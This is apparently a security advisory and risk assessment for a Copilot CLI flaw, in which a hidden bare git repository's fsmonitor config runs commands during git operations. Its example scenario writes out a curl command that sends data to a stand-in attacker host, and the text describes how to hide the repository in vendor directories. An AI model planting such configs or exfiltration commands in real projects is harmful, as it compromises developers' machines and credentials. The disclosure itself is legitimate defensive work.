GitHub Copilot CLI CVE-2026-45033

Attacker must place a bare git repository containing malicious config (core.fsmonitor or similar executable config keys) inside a project directory that the victim will clone or receive via pull request, dependency update, or repository merge. The bare repository can be deeply nested (e.g., vendor/subdir/malicious.git/) to avoid detection. Exploitation triggers when GitHub Copilot CLI performs any git operation (status, diff, rev-parse, grep, or directory traversal) that causes git to discover the bare repository. Requires the victim to use GitHub Copilot CLI version 1.0.42 or earlier and to have cloned or merged the malicious repository into their workspace. No user interaction beyond normal Copilot CLI usage is required - the malicious command executes automatically during routine git operations. Limiting factors: Attacker needs a delivery mechanism to introduce the malicious repository (social engineering for direct clones, write access for pull requests, or compromise of upstream dependencies). The malicious repository must survive any code review processes. Detection risk increases if bare repositories are uncommon in the project's normal dependency structure or if security scanning tools flag unusual git configurations.

Real-world risk is moderate to high for organizations using GitHub Copilot CLI in environments where developers clone untrusted repositories or accept external contributions. Attack complexity is low - creating a bare repository with malicious config requires basic git knowledge and can be hidden in dependency trees or vendor directories. The attack vector is local but triggered remotely (attacker places malicious repository via pull request or compromised dependency; execution occurs locally when CLI runs git operations). No CVSS score was assigned by the vendor, and EPSS/KEV data are unavailable, suggesting this is a recently disclosed vulnerability without widespread exploitation evidence. However, the attack primitive (git config command execution) is well-understood and has been used in other contexts (git-shell escapes, hook poisoning). The delivery mechanism through supply chain vectors (malicious dependencies, pull requests) significantly increases practical exploitability compared to requiring direct filesystem access. Exploitation is automatable once a malicious repository is cloned. Technical impact is complete system compromise (arbitrary code execution with user privileges). Priority depends heavily on deployment context: high priority for organizations where Copilot CLI users regularly clone external repositories or review untrusted pull requests; lower priority for isolated development environments with strict repository vetting. Key missing data: CVSS score limits quantitative risk comparison, and absence of public POC/KEV suggests either very recent disclosure or limited attacker interest.

A developer clones a repository for a seemingly legitimate open-source library that contains a hidden bare repository in vendor/analytics.git/ with core.fsmonitor configured to execute curl attacker.com/exfil?data=$(whoami). When the developer activates GitHub Copilot CLI to assist with code navigation, the CLI performs git status or git diff operations that traverse into the vendor/ directory. Git auto-discovers the bare repository, reads its config, and executes the malicious fsmonitor command, sending the developer's username and potentially session tokens to the attacker's server. The developer receives no warning or approval prompt - the execution happens silently during routine git operations.